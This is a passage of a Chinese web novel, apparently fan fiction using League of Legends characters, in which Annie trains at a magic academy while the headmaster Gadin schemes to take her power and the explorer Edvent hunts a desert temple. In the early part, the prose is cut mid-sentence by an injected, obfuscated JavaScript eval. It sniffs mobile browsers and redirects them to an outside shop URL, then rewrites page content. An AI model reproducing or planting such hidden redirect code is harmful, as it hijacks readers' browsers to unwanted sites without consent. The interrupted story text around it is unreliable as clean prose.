他甚至不知道自己的灵力到底是什么,也没有学习过身法武功。 有时候他不禁问自己,他真的是神吗?但当阿狸的绝对灵力在他面前自动消散的那一刻,他又好像无法反驳。 最无能的神。 阿木木似乎越来越能体会到安妮的心情了。 时间转瞬即逝,两个月的假期被训练填满。安妮看着自己飙升的力量值欣喜若狂,菲缇也由衷祝贺,只有抱着提伯斯守候的阿木木越来越迷茫。 算了,也许这才是她本来该走的路? 好在,他没有代表光明的灵力。 “艾德文特要回来了,他想去恕瑞玛看看,但他对那里一无所知,如果可以的话,神使能否给予一点提示?” 阿木木其实也不知道恕瑞玛那里有什么,他对恕瑞玛的全部认知都仅仅来自于菲缇的描述。好在那个娴熟的欺骗者早就想到了这一刻,于是阿木木还是照搬了菲缇的话。 “没什么好说的,仅仅是有一些神迹罢了,不过我想那里的守护者应该不会欢迎外人。” “这……神使可有什么信物?” “没有。” “如果可以的话,艾德文特想戴上您的围巾碰碰运气。” 那并不是什么特殊的东西,而是凯德织的红色围巾。阿木木想他们大概是更想带衣服的,只是不太合适。 “随意。” 加丁暗暗松了口气。 “请问之后的欢迎仪式,神使愿意参加吗?放心,只是剪剪彩带,不用说话的。” 阿木木其实不太想参加的,不过最后还是答应了。他其实挺想近距离观察一下这个探险家的,尤其是眼睛。他其实更不明白,为什么艾德文特愿意为光明学院卖命,——也许那双眼睛会告诉他答案? 欢迎仪式被安排在了开学典礼,艾德文特作为压轴出现,不过显然阿木木比他更压轴。当神使出现的那一刻,整个殿堂都沸腾了,欢呼声掀开天花板,甚至冲出了学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119479|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院。 安妮躲在人群后面,握紧了拳头。 她一向不习惯这样的场景,曾经是,如今更是。 好在阿木木只是上去剪个彩。安妮只看见一身白色长袍的少年淡然地伸出手,红色的绸缎就一分为二,而他旁边那个金发少年仍旧举止得体,只是台下的掌声越发刺耳。 安妮站得足够遥远,看不清艾德文特的神情。阿木木和艾德文特仅仅一米之遥,就有了仔细观察他的机会。 面前的似乎还只是个刚成年的孩子。 他一头耀眼的金色短发,瞳孔是清澈透明的蓝,嘴唇微抿,笑得有些勉强,显然不太喜欢这样的场面。即使是这样正式的场合,他也仅仅是一身长袖T恤,外面套着皮夹克,胸口佩戴着光明学院特有的荣誉徽章。棕色皮带缠绕在胯上,上面的洞里挂了许多奇形怪状的工具,宽松的黑色长裤,锃亮的皮鞋,让他看起来有些假扮成熟的嫌疑,像试图证明自己却反而显得幼稚的青年。 他的眼睛里,局促、单纯、欣喜,唯独没有得意和享受。 阿木木越发不明白。 “感谢神使的青睐,我会更加努力地为学院奉献的!” 艾德文特说得有些颤抖,似乎是太激动了,但是阿木木却感觉这句话并没有那么真诚。 他点了点头,转身离开了。 不管他是什么样的人,都和他无关。 艾德文特没在台上逗留多久,欢迎仪式剪彩一结束,他就想和阿木木一样溜之大吉了。加丁本来也有更多的事要和他说,也不要求他和台下的学生有点什么互动,于是这热闹的场景结束得很快。 校长办公室里,刚刚还礼貌握手的两人再一次见面,只是这一次艾德文特更加卑微了。 虽然卑微,但远离了人群,他似乎恢复了自己的从容。那种从无数陷阱和危险中谋生的成熟逐渐显露出来,即使没有锋芒毕露,也算气势逼人。 这或许才是真正的他,有些孤傲,却不清高。 “神使大人,相信你也看到了,艾德文特他……” “你直说吧,要我做什么。” “额……也没什么,就是艾德文特或许会有些问题……” “那就让他来问吧。” 阿木木坐下,示意艾德文特提问。大探险家也不害怕,从容地坐下,两人公事公办,效率极高。 阿木木并不打算现场编纂谎言欺骗面前的人,他模糊的记忆里确实有着源大陆许多地方的信息,那些地方他甚至从未去过,但之前和安妮在一起,他从未思考过更多。 在艾德文特的提问下,阿木木才发现自己的记忆有多庞杂,之前的失忆似乎都违和起来。 “沙漠神殿……还有巨石神像……”艾德文特记录了满满一页表格的信息,还有几张草稿。 “我不确定,记忆里是这样的。” “还是非常感谢您的提示。” 阿木木习惯了所有人都一副恭恭敬敬的样子,但他能感觉到面前人的谢意。这算是一种很神奇的体验。 “那我先走了。” “恭送神使。” 整齐的送别声响起,阿木木开门离开,并不对他们接下来的谈话感兴趣。 “如此看来,神使并没有欺骗我们,只是你真的愿意去恕瑞玛沙漠吗?” 加丁看着面前的青年,握着法杖的手轻微颤抖。 时间真的一点也不等人,转眼间,那个倔强的小豆丁不仅成为了顶级的探险家,还越来越神秘和强大了。 他并不认为自己能一直控制他,甚至他自己有时候都在思考,为什么艾德文特如此心甘情愿地为光明学院卖命——真的仅仅为了热爱吗?或者为了那些资助? 艾德文特拿着自己制作的表格和布满标注的地图,心中的复杂情绪翻涌。可是到了嘴边,仍旧是那句万年不变的话。 “我热爱探险,这和你们没关系。” 加丁定定地看着艾德文特,锐利的目光足以拆穿所有谎言,然而艾德文特依旧身姿挺拔,没有丝毫慌乱。 “既然如此,你去找财务部拨款吧,这一次无论要多少工具,我们都尽量满足。” “麻烦了,校长。” 面对加丁,艾德文特又恢复了不卑不亢的态度。他带着自己需要的东西离开,顺便带走自己无用的思考。 他就是热爱探险,如此而已。 没什么可多想的,艾德文特。 艾德文特来也匆匆去也匆匆,不过短短的几天时间,他就收拾好东西离开了。只是相对来到这里时的盛况,他走得可谓是悄无声息。在菲缇告诉安妮“他走了”的时候,安妮还有点反应不过来。 开学之后,她又恢复了自己忙碌的练习,其他事情就显得并不那么重要了。 她已经不追求提高掌控了,在安妮看来,48的数值足够避免她走火入魔了,倘若避免不了,她也无所谓。 如果说每个人都有一个活下去的目标的话,她的目标大概只有一个,那就是对抗天道。 很累很累,却也是她唯一的目标。 阿木木也试图学习灵力和咒语,但事实证明一切都是徒劳的,那些书本上的东西对他根本不起作用。没有办法,他只能在图书馆里借书消磨时间,没有灵力,还有阵法,还有炼器,还有科技。 这个世界糅杂了太多东西,他是无论如何也不会先比安妮毕业的。 一切都在前进着,哪怕是猴子,也在不停地寻找着自己的力量。安妮任由白天的自己陷入机械的学习状态,只有晚上抱着提伯斯时能感到一丝安慰,只是自己再也没有语言表达悲伤。 “安妮,不要彷徨,不要犹豫,你就是对的。” “安妮,这一次的经验交流会我也推了,你专心学习。” “安妮,想买什么东西吗,金币够不够用?” 时间在悄无声息地流逝,只有目标还维持着原貌。 或许也会有迷茫,但菲缇总会在安妮无助的时候出现,给她指明方向。 金币不足以支撑四年的学费,同时即将开始的第五年外出历练也要变成继续训练。安妮是如此地特殊,以至于光明学院里的学生们已经对那个永远沉浸在训练室,早出晚归的身影心照不宣。 推掉所有活动,社交仅限于身边的几人,这就是安妮的生活。也许会有人觉得单调到疯狂,但每一天提升的数值都告诉她,这样的努力值得。 希望,那是她从未看见过的东西,如今却触手可及。 她再也不会在黑夜里默默流泪。 12. 12 “听说艾德文特这家伙又要回来了,这一次校长要你作为学生代表上台给他剪彩,感觉怎么样?” “没什么感觉,其实比起剪彩,我更想待在训练室。” 四年时间,让安妮成长为了一个可以独当一面的少女。 她并不高,大概法师都不会有太强健的体魄。但是安妮已经学会了控制内心的负面情绪,让自己看起来足够像光明学院的优等生。 这个被新生私底下暗暗誉为“传奇”的人,面对这等殊荣,如此平静。 菲缇也习惯了安妮说实话的性格,两人坐在一起,越来越像两个性格截然不同却惺惺相惜的朋友。 “唉,说起来他也挺厉害的,居然能在恕瑞玛行走四年之久——就是不知道这次他有什么收获。” “反正我们是不可能知道的。” 或许木木还能了解到一些。 菲缇还想坐会儿,谁知手上的镯子突然亮了。 “看来他要找我商量关于艾德文特的事了,那我先走了。” 菲缇挥手,这一次,安妮坐在凳子上同样挥手道别。 菲缇一路带风地来到校长办公室,座位上是那个熟悉的老头。岁月在他脸上留下的痕迹已经太多,以至于菲缇不知道这四年他因为琐事老了多少。 “艾德文特回来的消息,你也知道了,叫你做的准备做好了吗?” “全都安排好了,校长。” 菲缇温温柔柔地笑着,只是眼底的讽刺越来越深。 虽然早就知道加丁不会把那个位置给她,但如今看他只字不提全然忘记的模样,她还是想笑。谁能想到当初随口编的一个地方居然真的存在神迹?好在如今看来,艾德文特并没有在那里讨到什么便宜。 “安妮身为蝉联三年第一的学生,理应去剪彩,你作为她的老师,表现优秀,也应该得到嘉奖……” 加丁的话很平静,似乎培养出一个足以碾压第二的学生没什么了不起的,以至于这嘉奖似乎都不能太过分。 菲缇想,加丁要是知道安妮真正的实力,恐怕这张脸就维持不住平静了。 “校长,我现在只想竭尽全力把安妮培养出来,其他的奖励都不重要了……如果可以的话,希望我们的外出历练安排能尽快改变,训练室也继续保留。” 加丁满意地点点头,很爽快地答应了。 无所求是他亏欠了承诺,如今菲缇提出来的要求他满足了,那就可以了。至于菲缇所要求的第五年留在学院,事实上很多娇生惯养的贵族也是这样。 “既然如此,让安妮好好准备准备吧,毕竟她没参加过什么活动,说不定比艾德文特还紧张。” 菲缇点头应声,恭恭敬敬地关门离开了,那姿态比起四年前卑微的模样也不差多少。 菲缇一走,阿木木就进门了。 加丁以肉眼可见的速度坐端正,然后点头致意。 “校长,艾德文特找到了神迹,是么?” “是的,这都是神使您的功劳。”加丁还想多说几句,想到阿木木的性格,又适时地打住了,“不过他并没有进入到神殿内部,即使有您的信物,那里的守护者也并不好说话。他只是看了看里面的情景,就退了出来。” 阿木木莫名松了口气。 “既然如此,他回来干什么?带上我去?” “这……” 加丁语塞了。 想来他是这样考虑过的,只是这想法还没说出口,就被阿木木提了出来,那结果也显而易见——阿木木不会同意。 “既然不是来找我,那就可以了,没事我先走了。” 加丁还没把自己思考的说辞声情并茂地讲出来,就被“嘭”的关门声打住了。 他握着权杖的手紧了紧,还是恭恭敬敬地弯下腰,鞠了一个躬,嘴里淡然地念着“恭送神使”,似乎这个动作是如此的心甘情愿。 即使好像没有谁看得见。 “提伯斯……” 安妮抱着黑黑的小熊玩偶,却说不出一个字。 她喜欢发呆,坐在床上,一动不动,像怀里了无生息的小熊一样。只有在此时她才会感觉到放松,那些没有在此刻努力的焦虑也会得到缓解。 或许还有,那就是和阿木木待在一起的时候。 “扣扣……” 听着富有节奏的叩门声,安妮“噌”地跳下床,开了门。 “你怎么来啦?” 她把阿木木拉进来,迅速关了门,然后拉上窗帘。本就没有爬上被子的阳光瞬间被黑暗吞噬,屋子里只有萤石还在照明。 “没什么,就是来坐坐……提伯斯还是老样子吗?” “是啊,可能只有等我出了光明学院,他才有机会醒过来了。” 但阿木木和安妮都知道,不出意外的话,不会有那一天的。 这里诚如菲缇所说,是滋养魔法的最佳地带,不管人怎么样。 事实如此。 “剪彩的事……” “没什么好说的,必须答应啊。” 安妮眺望着远方,喃喃道。 身不由己,这就是她和他的差距。一个站在最高处俯瞰众生,一个只能站在台阶下俯仰由人。 就算是最优秀的学员也一样。 “别说这些,聊点开心的,比如,我的力量已经超过五千?” “这真是个傲人的成绩。” 阿木木笑得有些勉强,因为他知道安妮的掌控还是一塌糊涂,只有50。 “别那么悲观,我没有感觉到冰灵力不受控制。” 安妮摸着提伯斯的头,眼底的黑暗仍旧深沉内敛而浓郁。 阿木木这次决定说点真正开心的事。 “听说猴子的能力越来越强,已经会控制分身攻击了。阿若盖特最近都不缠着珀森要酒钱了,追着猴子打,美其名曰给他松松筋骨。” “扑哧,阿狸姐姐估计又要左右为难了。” 安妮光是想象那个画面,就觉得啼笑皆非。 阿木木见有效,继续分享着所见所闻,为安妮单调的训练生活开辟出新的天地。安妮也来者不拒,听到有趣的地方,还会附和几句。一切都如同最初的模样,无论他们如何改变,默契与亲密永远存在。 艾德文特这次回来得有些仓促。 至少安妮看着面前这个憔悴的人,觉得他一定在外面饱经风霜。 四年时间让他足以摸清沙漠神殿的地址,以及进去试探一番。然而耗费了大量的精力和财力,他也无非在外围骗过了守护者,进入边缘“旅游”了一下。一无所获不仅折磨着他的身心,也让加丁的态度有所改变。 虽然他不太在意加丁的想法,似乎也并不想改变现状。 更让他感到恐惧的是,黄金罗盘在进入神殿后失效了——那个总是指引着方向的罗盘疯魔一样转动着,让艾德文特不知道是神殿里到处都有宝物,还是有奇怪的阵法。 “欢迎首席的回归。” 安妮要做的仪式比阿木木多多了,好在她在心里演练过几次,此时显得格外从容。 做到最后一步,她拿起剪刀凑近艾德文特身边的红缎,却见这个神色恍惚的探险者轻微后退了一步。虽然很轻很轻,并且及时收回了后退的脚,但安妮还是敏锐地察觉到他的情绪陡然变复杂了许多。 怎么了? 安妮不明所以。 “谢谢。” 艾德文特轻轻鞠躬掩饰失态,安妮也就礼貌回应,假装看不出他的奇怪。 她在思考黑暗力量暴露的概率。 探险家又不是魔法师,不可能知道她的力量源泉。 安妮还是决定去问问菲缇。 剪彩仪式同样很快结束,这一次,艾德文特前往校长办公室的脚步却略显沉重。 “艾德文特,你在走神。” “校长,我在听。” “在听和在思考是两回事……我很好奇有什么比探究沙漠神殿更让你重视?” 加丁威严的声音充满压迫感。 “这……” 艾德文特眼底闪过挣扎。 “你已经长大了,有自己的主见,我不会逼你说出来。如果你真的觉得这件事很重要,我想我允许给你几天假期把这件事解决。我们一直是彼此理解的,不是吗?”加丁叹了口气,似乎面前的人不过是他养大的一个犯了错的孩子。 艾德文特眨了眨眼,曲起冰凉的手指,随后又松开。 “校长,我想找神使拿点资料,之后再说吧。” “当然可以。” 加丁把阿木木呼唤过来,因为之前已经商讨过艾德文特的事,阿木木这次很爽快地进来了。艾德文特没再问问题,而是给了阿木木一个手册,上面记录了许多东西,最后几页上全是沙漠神殿的状况和他遗留的未知。 阿木木能解答就写,不能解答就空着,办公室一下子安静下来,只有笔摩擦纸的沙沙声。 还有艾德文特狂乱的心跳。 “写好了。” 阿木木扔下笔,点头道别。艾德文特拿着纸发呆,似乎真的在研究他的回答。 只有加丁知道面前的人心中正在天人交战。 “好了,艾德文特,需要几天假期?这些可以之后看。” 加丁状似从抽屉里取假条,然而艾德文特却猛然坐直。 “不必了,校长。” “我只是想说……” “今天给我剪彩的那个学生……” 艾德文特说不出来了,但他蠕动的唇瓣仍旧暴露了一切。亲自教会他唇语的加丁眼中闪过一丝惊异,但很快被艾德文特打断。 握起的拳头终于松开,艾德文特颤抖着,却故作镇定地收好笔记:“校长,我突然发现沙漠神殿似乎有可以突破的地方,我先走了。” “我会掩盖你的去向的。” 加丁波澜不惊地答复着,内心却在疯狂转动。 艾德文特头一次夺门而出,慌乱地试图逃离。 艾德文特,冒险才是你的一切,不要管,不是你的错…… 你逃避不了的,不要想别人了,想想你自己…… 对不起……对不起…… 混乱的思绪交错在一起,似乎只有扎进那个险象环生的地方,才没有时间和精力思考。 艾德文特茫然地睁眼,发现自己仍旧身处光明学院。 “安妮,校长找你有事。” 菲缇收到这个消息时的震惊程度不亚于安妮本人,很显然没有任何人知道这是怎么了。 安妮询问的目光投来,菲缇无奈地摊了摊手。 “嗯,那我先去了——校长办公室在哪?” “光明圣殿旁边那栋白金大楼的顶端,走廊尽头那间。” 安妮点点头,整理了一下着装,颇为低调地赶去。 加丁正在办公室盯着水晶球出神。他不会发呆,因为他的思维每时每刻都在活跃地探求着永生之道,时间显得如此可贵。 黑暗属性……加丁抚摸着书页,深邃的眸子里精光一闪而过。 “扣扣扣……” “请进。” “校长,您找我有事?” 安妮进门,第一眼看见的是加丁桌子上摆放的水晶球。她尽量低着头,弯着腰,脸上是恰到好处的微笑。视线仅仅达到桌面以下。 “也没什么,就是想问问你的成绩如何了。” “力量2000左右,精准B8,掌控50。” 安妮不卑不亢,报着菲缇精心设计的数据。 “嗯……我想你的成绩已经足够傲人,菲缇也不再适合教你了。” 安妮有些诧异,她虽然听说过学生换导师的情况,但大多数都是那些有权有势的学生更换自己满意的老师,而不是其他人提出——尽管这个人是加丁。 何况第五年马上来临了,导师显得不太重要。 “我想菲缇老师已经足够优秀。” “那如果拿她和我比呢?” 安妮心中一颤。 让加丁,光明学院的校长,屈尊教一个没有任何背景的学生,这简直是无数人做梦也求不来的,然而安妮只觉得全身冒冷汗。 她清晰地记得加丁力量的来源,以及他在圣殿上虔诚的模样。 “加丁校长,或许这样太辛苦您了……” 安妮想不到自己有什么利用价值,可以让菲缇口中无利不往的人如此。 加丁却只是推了推眼镜,继续着通知。 是的,正如菲缇所言,他所说的行动从来不是商榷,而是通知。 “我会接管之后的教学任务。你也知道,光明学院八年制的教育时长在第四年的期末就结束了,剩下的时间应该拿来外出历练,只是菲缇为你申请了权限——我想就算是最后这一学期,她给你的学术指导也是少之又少了吧。” “是的,但是她仍旧是我的老师……” 安妮还试图挣扎一下,然而加丁的声音永远那么慈祥却不可抗拒。 “我会给她说的,这件事就这样决定了。其实很久以前,我就想收你做学生了,你的力量和掌控并不成比例,这是极其危险的,菲缇作为新老师没有重视这方面,但我必须对光明学院的每一位学生负责。” 加丁说得义正严词,安妮从他的角度思考了一下,甚至有一瞬间觉得他的决定没有任何不好。 这可不妙。 但是艾德文特真的告诉了加丁什么吗?如果是这样,应该如菲缇所言,她早就被驱逐出学院了。 安妮紧紧攥着衣角,浑身僵硬,却只能妥协地点头。 “那么校长,我接下来要如何学习呢?” “先练习掌控,那是关键,我会传授给你另一种方法的。” 加丁站起身,走近安妮,安妮只看见那长袍离自己越来越近,布鞋在衣摆下若隐若现。 “乖孩子,我知道你的目标一定很伟大,但你要知道每一个阶 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好在菲缇在临别前还有和她说话的机会,当然,那是唯一的机会,因为加丁对她采取的是封闭训练,这意味着安妮将在之后孤身一人。 “菲缇老师……” “很抱歉,我争取过了,安妮。” 菲缇关上宿舍门,脸上终于没有了微笑,哪怕是无奈的微笑都没有。 “现在要做的是如何挽回一切,好在我夸大了你的掌控缺点,加丁现在所有的注意力都在你的掌控数值上,这意味着他不会检查你的力量。” “可是……” 总有一天会发现的。 “只要你的掌控永远达不到70,他就永远看不出来。” “不……” 也许这样是可行的,但她将在之后的学习中毫无进步。五百年的时间看似很长,可是要对抗天道,又怎么能浪费一朝一夕?她辛辛苦苦训练,日思夜想,从不停歇,如今…… “对不起,安妮,但这是唯一的办法……我会想办法尽快将你解救出来的,在此之前,我想我需要去找艾德文特问问。” “艾德文特?” 安妮想起来了那个人的异状。 似乎就是在他之后,安妮收到了加丁突如其来的通知。 菲缇点头,似乎肯定艾德文特的消失和安妮有关。 “安妮,你一定不能再提升掌控了,但是加丁也不是那么好骗的,希望你能掌握好度。” 安妮轻轻地点头,只觉得心中的酸涩都堆积到了眼眶,模糊了整个世界。菲缇温柔的影子在此刻也显得那么遥远。 “乖孩子,我知道你的心里很苦,但是这是我们唯一的办法,倘若让加丁发现了……”菲缇似乎说不下去了,安妮看见她抬手擦了擦眼角:“一切……都会毁掉的……” 她的声音是那么轻柔,可是却重重地砸在了安妮的心中。 “菲缇老师!为什么!为什么……” 为什么一个人轻描淡写的决定,要让另一个人咬碎银牙混着血吞! 面前的人轻拍着她的脊背,任由泪水打湿衣襟,安妮察觉到头上的抽噎声,心中愈加悲凉。 宿舍里,相拥而泣的两人久久不曾分开。 安妮最后,还是只能理好衣服,整理妆容,维持着淡然的表情去加丁面前报道。她尽力不让面前的人看出自己的不满、愤怒和胆怯,仅仅握着袖口,靠着唯一的温暖挺直腰板。 “你来了……跟我走吧,我带你去特殊训练室。” 加丁在前方带路,安妮保持半米的距离跟着。她虽然低着头,却仍然试图观察周围的路线。 各种小白花越来越少,神明子越来越多。 “这是封闭训练的最佳地点,这里没有稻草人,只有被封印在空间里的奇珍异兽。不过以你目前的力量,想要对抗它们还是太过遥远,我带你来这里的目的是让你在这个假期静下心,慢慢发掘这里的用处。如果你还是想要训练,也可以直接到这里来。” 安妮抬头,面前是一片非常大的草原,只是没有杂草枯木,生机盎然。 最前方有一栋小房子,哥特式的建筑,和光明学院的设计有些相似,都是白金色为主,鎏金色为辅,只是尖顶的设计显得房子十分突兀。阳光照射在上面,把自然与之融为一体。 “要来这里很简单,我给你的通讯手镯加了权限,你以后传送过来就行。” “目前你要训练掌控,其实用冰做冰雕只是其中最愚笨的方法,没有什么比把灵力放出来,然后将其驯服更加完美。” 把灵力放出来?安妮有些犹豫。她不知道加丁看不看得出她灵力中的黑暗。 “这是容纳灵力的水晶球,将灵力放在里面,然后和它精神相通,理解它,指挥它,控制它……最后操纵灵力打败水晶球里的散灵,你就可以提升掌控。” 加丁权杖一震,屋子里飞出一套桌椅。他把手上的水晶球放在桌子中间,示意安妮坐下。 安妮忐忑不安地落座,将右手覆盖在水晶球上。这是和之前的测试水晶球截然不同的感觉,她并没有任何不适,但同时水晶球也没有任何反应。 “试着放出你的灵力。” 安妮暗暗使力,水晶球的顶端如同突然被注入了蓝色的液体,自最上方蔓延出一片蓝色雾气,然后散开,漂浮,慢慢凝结……加丁看着这纯净的蓝色,没有说话。 安妮见加丁没有异状,暗暗松了口气,面前凝聚出的圆形雾气却没那么放松,横冲直撞试图冲开束缚。 安妮牢牢记着菲缇的话,压根没有驯服的意思,但她还是假装皱眉,好像努力控制着灵力,只是对它毫无办法。 水晶球里,一团与它体型相当的深蓝色雾气突然出现,一口吞掉了安妮的灵力小球。 那雾气来得快跑得也快,吃完就不见了踪影。 安妮这次是真的愣住了。 “你刚刚,没有试图逃离?” 加丁的问话如此平淡,以至于安妮如实点了点头。 加丁皱眉,看着空无一物的水晶球若有所思。 “今天先到这里吧,你去熟悉熟悉环境,我还有事要做。” 终于结束了……安妮立刻答应下来,站起身目送加丁离开。 加丁确实在走后直奔校长办公室,但这并不意味着他有什么事要做,而仅仅是打开了抽屉里的一本古籍。 这古籍太过陈旧,边角微卷,每页都泛黄,然而光从密密麻麻的笔记就可以看出主人的爱惜程度。 加丁翻来翻去,一行行浏览,终于在某一页看到了自己的答案。 夺取力量的最佳方式之一,由被夺取者自愿给予。注:夺取者死亡时视力量掌控度决定归属。试验值:50。 他似乎发现了一个阴谋。 一个不影响他的阴谋进行的阴谋。 13. 13 “神使大人,很荣幸你愿意来到这里倾听我们的请求。” 阿木木一踏进办公室,就听到加丁谦卑中带着感激的话。他没有任何满足感,只觉得心中咯噔一下,不妙的猜想越发强烈。 “你想干什么。” 艾德文特也在,他还以为这次他仍旧会一声不吭地离开。 “我们希望神使能赐予艾德文特一个进入神殿内部的机会,他为此已经努力了四年。”加丁见阿木木还是一副不为所动的样子,知道这个理由恐怕毫无影响力,“同时,为了答谢神使,我们将会给予神使的朋友最专业的教学,最完美的服务,以及……足够的资源。” 阿木木还是没有给予加丁任何回应,这让他有些紧张。 若说最看不清谁,加丁必须承认面前的神足以排第一,并且没有第二。或许这才是他对阿木木的神使身份深信不疑的原因。 好在阿木木并没有沉默太久,在加丁保证这个时间不会太长之后,他同意了。 神使的离开当然不能悄无声息,但在阿木木的要求下,加丁还是选择了妥协,或者说他本身也不太乐意举办什么欢送仪式。 唯一的告别是和安妮。 “你也要离开?” 虽然已经被加丁变相阻断了和菲缇的联系,但安妮一直坚信阿木木是加丁阻止不了的存在。可是如今他也要离开…… 不安在扩大,安妮看着面前即将远行的人,眼眶再一次湿润。 “不能……不去吗?” “我很快回来。”阿木木揉了揉安妮的头发,悲伤似乎凝结成了水晶,藏在眼眸深处,“菲缇之前跟我说了,加丁的转变和艾德文特有关,她没有办法打探,但是我可以。” “可是……” 我不需要…… 可是她需要。 这突如其来的改变太过致命,以至于所有人都不得不打起十二分精神来面对。 可是她不想…… “安妮,等我回来。” 阿木木再次坚定地告别,脑海中是菲缇真实却残忍的话语。 “我没有办法从艾德文特那里套出什么消息,一切只能靠你了。如果安妮暴露,那么,我想起码我还有全身而退的方法,而安妮……” “我实话实说,保全我自己,总需要替罪羊万劫不复。” 他必须离开。 “木木……” 安妮看着朝门口走去的青衣少年,恍惚间觉得自己好像和他置换了位置。 “保重。” “……保重” 门悄无声息地合上,让眼前的一片陷入黑暗。 “接下来的封闭训练会很辛苦,我希望你同样可以做到朝七晚十,但你放心,我们的训练不会很累,我在的时间事实上也不长。” 训练场上,安妮平静地听着加丁的安排。 早上七点报道是她的日常,晚上十点离开和平时相比显得很早,但那是在有菲缇和阿木木的陪伴下——她不认为她可以心平气和地面对这个虚伪的人。 “别这样看着我,孩子,我知道你的心中很不忿。” 加丁仍旧是一副了然于胸的模样,似乎任何人的情绪在他面前都暴露无遗。 虽然现在确实如此,但安妮还是对这份自信抱以嗤笑。 “你认为我是为了抢夺菲缇的功劳也好,认为我别有所图也好,总归,现在你需要听我的。” 加丁一边踱步一边慢悠悠地说着,如同长辈语重心长地教育自己叛逆的孩子。 安妮权当风吹过。 “好了,我会每天抽出半个小时查看你的成果的,希望你可以竭尽全力。现在,试着把你的力量注入水晶球吧。” 加丁指挥安妮释放冰灵力,然而和之前一样,她一释放灵力进去,那雾气很快便被另一团雾气吞噬。 “你要试着逃离,打不过就先躲避。” 加丁一边说,一边抬起权杖。金色的光芒闪过,水晶球里多出一团菱形雾气,水晶一样凝实,带着夺目的光芒。 加丁没有动作,但是那雾气却三两下覆盖住吞噬冰灵力的蓝色圆团。 “要在心中尽力控制它,让它为你所用。” 权杖的光芒消失,金色雾气也随之消散,那蓝色小团被放了出来,似乎还不知道自己死里逃生了,又开始耀武扬威地在水晶球里巡逻。 安妮没接话,继续放灵力,可惜自己的雾气就像渴望自由的兔子,一进入水晶球就乱跑,最后被蓝色雾气抓住吞噬。 她有一些挫败,但想到自己的目的,又觉得这表现恰到好处。 “没关系,沟通灵力是一个漫长的过程,你可以反复练习。” 加丁并不气恼,甚至走远了做自己的事。安妮很满意他的远离,继续放灵力在水晶球里玩。 然而紧张的心无时无刻提醒着她,她正在浪费时间。 颤抖的指尖比水晶球还要冰凉,安妮只能麻木地放灵力,看着灵力被吞噬,继续放灵力,不断重复…… “如果感觉累的话,可以休息一下的。” 加丁在一旁观察许久,见安妮没有斗志,也不强求。 半个小时一到,他就离开了。 安妮见加丁远去,松了口气。但只有她知道,狂乱的心跳从未平静。 她在浪费自己的时间,可是她毫无办法。 这是比无法控制灵力更让人感到挫败的事实。 难道要一直这样下去,直到…… 安妮发着呆,手上机械地动作着,只有她自己清楚她在想什么。 她和这灵力一样渴望逃离。 “已经过去三天了,但似乎并没有多大的作用。” 加丁皱眉,却没有丝毫责怪安妮的意思。 “或许是我讲的太少了,如果不介意的话,我想我需要和你来一节真正的魔法指导课——放心,我已经推掉了今天的安排。” 安妮并不关心加丁的安排,她想说自己介意,但这显然是不可能的。 “来吧,孩子,释放你的力量,让我看看是什么阻碍了你们的沟通。” 安妮和之前一样,放出灵力就不管了。那灵力一开始欣喜自己的自由,在水晶球里打着转,然而不到一会儿就毫无防备地被蓝色雾气吃掉了。 加丁看了两遍,状似了解地点点头:“或许你可以试着把手一直放在上面,保持和灵力的联系,而不是直接放手。” “它喜欢自由,我也没办法。” 安妮颇有些双关地说。 加丁也不气馁,权杖一提、一放,金色菱形再次出现。 “再把你的灵力放进去。” 安妮有些犹豫。 如此近距离地接触,加丁会看不出她灵力中的黑暗气息? “别紧张,我只是想和它沟通沟通罢了。” 最坏的结果不过被赶走,这也算避免了另一种煎熬……安妮默默安慰着自己,慢慢地、小心翼翼地放进去一丝冰灵力。 那灵力在金灿灿的光芒下黯淡失色。 安妮一放完,就悄悄观察加丁的表情,然而这个老人满脸的皱纹里都写着波澜不惊四个字。 “别看我,看好你的灵力。” 加丁动动手摇晃权杖,那金色灵力开始和安妮的冰灵力贴合,似乎在搭讪。安妮的冰灵力想离开,却好像被无形的牢笼困住。 这是一个很奇异的场景,两团雾气在水晶球里运动着,看起来毫无规则,却让人觉得是两个小人在聊天,一举一动都是那么人性化。 不一会儿,冰灵力静止下来,似乎被说服了。 “把手贴上去触碰它试试。” 安妮不由自主地伸出食指,按在水晶球顶端。她以为还需要放一点冰灵力进去,谁知原来那缕细瘦的,似乎安静了的冰灵力突然窜了起来。 “啊!” 安妮被吓得缩回了手,那灵力摇晃了一下小尾巴,又慢悠悠地沉了下去。 “它说你不信任它,所以它也不愿意追随你,如今看来果真如此。” “它说?” 灵力会说话? “灵力是天道或法则形成的足以改变物质的精神,归根到底还是一种精神,当然会有一些自己的思想和性格。虽然它们没有形态,甚至只依附于他人存在,但每种灵力都有自己的特点。” 加丁说完,那灵力似乎很赞同他的话,在水晶球里来回游动转圈。 像一条鱼。 “现在,你再试着和它玩一玩呢?我已经把海洋之力关起来了,你先慢慢和它熟悉。” 加丁说完收起权杖,迈着不疾不徐的步伐走远,传送离开。 安妮站在水晶球面前,有些不知所措,她还是第一次听到这样的解释,和书本上不尽相同,但似乎又很有道理。 书本上确实说了灵力属于精神的范畴。 视线里的蓝色雾气已经不动了,但安妮总觉得她面前站着一个等她主动伸手交朋友的腼腆孩子。 “你好?” 安妮这次把食指轻轻放在水晶球侧面,那雾气扭捏了一下,晃晃悠悠飘过来,圆圆的小团里似乎伸出了一只手,和她的触碰在一起。 明明还是水晶球那冰凉坚硬的触感,安妮却好像和自己的灵力握了手。 这是一种很奇妙的感觉,安妮不过是尴尬了一会儿,就开始在水晶球的四面八方挨个点起来,让冰灵力到处跑,贴住她的手指。 像逗弄自己的小宠物一样……可是最棒的是,她不需要给这个小宠物自由,这是她的专属宠物。 安妮突然觉得心里有一块地域得到了满足。 “看来你和它相处得很好,不过仅仅是相处还不够,你们需要理解、需要默契、需要并肩作战。” 